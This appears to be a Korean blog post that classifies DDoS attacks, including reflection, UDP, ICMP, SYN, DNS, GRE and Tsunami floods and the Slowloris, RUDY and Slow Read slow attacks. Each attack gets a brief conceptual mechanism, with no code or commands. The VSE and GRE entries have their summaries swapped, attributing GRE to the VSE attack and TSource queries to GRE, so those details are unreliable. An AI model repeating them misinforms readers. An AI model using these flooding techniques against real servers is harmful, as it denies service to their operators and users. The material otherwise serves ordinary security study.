SYN/ACK Reflection Attack
요약 - 대규모의 SYN/ACK 패킷을 피해대상에게 보내서 서버의 리소스를 소모시키는 공격 방식
설명 - 피해자의 IP로 스푸핑 한 후 반사서버를 향해 대규모의 SYN 패킷을 보내면 SYN 패킷에대한 응답으로 SYN/ACK 패킷이 피해서버로 반사되어 전달되는 방식

 

[사진 1] 유형별 반사공격 증폭률

1. 대역폭 공격

UDP Flooding
요약 - 공격자는 다량의 UDP 패킷을 서버로 전송하여 정상적인 서비스가 불가능하도록 하는 공격
설명 - UDP 프로토콜의 비연결형 (connectionless) 특성을 악용

- 대상서버에서 UDP Port를 사용하지 않아도 공격할 수 있으며, 공격을 수행하는 감염된 기기가 많을수록 위험도 증가

 

ICMP Flooding
요약 - 공격자는 다량의 ICMP Request 패킷을 서버로 전송하여 정상적인 서비스가 불가능하도록 하는 공격
설명 - 장치간 연결을 진단하는 ping 명령에 대표적으로 쓰이는 프로토콜로서 주로 ICMP Request와 Reply를 사용

- 증폭이 발생하지 않기 때문에 공격기기의 대역폭에 따라 공격 규모가 결정

 

2. 자원 소진 공격

SYN Flooding
요약 - 공격자는 다량의 SYN 패킷을 서버로 전송하여 서버의 대기큐를 가득채워 새로운 클라이언트의 연결요청을 무시하도록 하여 장애를 유발 시키는 공격 
설명 - TCP Protocol의 3-way-handshake를 악용

- SYN Flag만 지속적으로 전달하고 돌아오는 SYN/ACK 패킷에 대한 응답을 주지 않음

- 피해서버에서 가용할 수 있는 Backlog Queue를 전부 소모하여 정상 사용자 연결을 차단하게 됨

 

DNS Query Flooding
요약 - DNS서버에 대량의 DNS 질의를 보내서 정상 서비스를 할 수 없게 만드는 공격
설명 - DNS 서버는 UDP 프로토콜 53번을 통해 도메인 정보에 대한 IP주소를 요청을 받으면 해당하는 IP값을 응답하는 역할

- 단시간에 대량의 DNS 질의를 보내면 DNS서버는 요청한 DNS 질의에 대한 응답을 보내기 위해 자원을 소모하기 때문에 결과적으로 정상 서비스가 불가해짐

 

VSE Query Flooding
요약 - GRE 프로토콜을 이용해 특정사이즈의 패킷을 지속적으로 발생시켜 서버자원의 고갈을 유도
설명 - UDP (증폭) 공격으로 게임 서버에만 적용됨

- TSource 엔진 쿼리 요청을 게임 서버에 보내 서버가 모든 요청을 처리 할 수 없도록 하여 서비스 거부를 유발

 

GRE Flooding
요약 - 게임 서버를 대상으로 다량의 TSource Engine Query를 전송하여 서비스 거부를 유발 시키는 공격
설명 - GRE (Generic Routing Encapsulation): IP 네트워크에서 가상 점대 점 링크 내에 다양한 네트워크 계층 프로토콜을 캡슐화 할 수있는 터널링 프로토콜 

- GRE 프로토콜은 공격 시 encapsulation을 통해 대량의 payload를 전송 가능하고 , 타겟서버는 IP defragmentation 과정에서 자원 고갈이 발생 가능

 

Tsunami Syn Flooding
요약 - 패킷 당 1000bytes의 트래픽을 유발하여 서비스 거부를 유발 시키는 공격
설명 - 기존 SYN flood Attack은 패킷당 40~60bytes의 트래픽을 유발하는데 반해 Tsunami SYN-Flood Attack은 패킷당 1000bytes의 트래픽을 유발

- 일반적인 SYN 패킷에 25배(최대 1000bytes)의 크기로 패킷 데이터양을 추가하는 방식으로 공격을 수행

 

3. 웹/DB 부하 공격

GET Flooding
요약 - 서버와 세션을 맺은 후, HTTP GET 메소드 요청을 통해 웹서버 자원 소진 및 DB서버 자원을 소진 시키는 공격
설명 - 웹과 DB 부하 공격의 가장 대표적인 공격방식

- 서버와 세션을 맺은 후, HTTP GET 메소드 요청을 통해 웹서버의 자원을 소진함과 동시에 DB서버까지 자원을 소진 시켜서 정상적인 사용자의 웹서비스 이용을 차단

 

Slowloris Attack
요약 - HTTP 패킷의 헤더를 조작하여 오랜 시간 동안 지속적으로 공격으로 서버의 자원을 잠식하는 공격
설명 - 정상적인 HTTP 패킷의 헤더는 Carriage Return & Line Feed(이하 개행 문자)가 두 번 나타남

- 16진수로 0d0a0d0a

- 첫 번째 개행 문자는 헤더의 종료이며 두 번째 개행 문자는 전체 헤더의 종료를 의미

- 헤더의 마지막에 개행 문자를 하나만 전송할 경우 웹서버는 헤더가 모두 도착하지 않은 것으로 간주하고 연결을 유지하며 대기상태를 유지

 

RUDY Attack
요약 - Content-Length 헤더기를 매우 크게 설정한 후 서버로 전달할 데이터를 장시간에 걸쳐 조금씩 분할하여 전달해 서버의 자원을 잠식하는 공격
설명 - POST Method를 이용하는 대표적인 Slow 공격 유형

- POST 요청은 전달할 데이터의 크기를 Content-Length 헤더에 삽입하여 전송

- Content-Length 헤더기를 매우 크게 설정하고 데이터를 조금씩 전송하여 서버가 모든 데이터를 수신하기까지 대기하고, 결과적으로 정상 사용자들의 요청을 서비스 할 수 없게 됨

 

Slow read Attack
요약 - TCP 통신에서 사용되는 windows size를 악용한 공격기법
설명 - Client마다 한번에 처리할 수 있는 패킷의 크기가 다르기 때문에 해당 크기를 windows size 필드를 통해 전달

- windows size를 기준으로 패킷을 주고받음

- windows size를 낮게 설정하여 서버로 전달하고, 해당 size를 기준으로 통신하면서 데이터 전송이 완료될 때 까지 Connection을 유지하게 만들어 서버의 Connection 자원을 고갈시키는 공격

 

+ Recent posts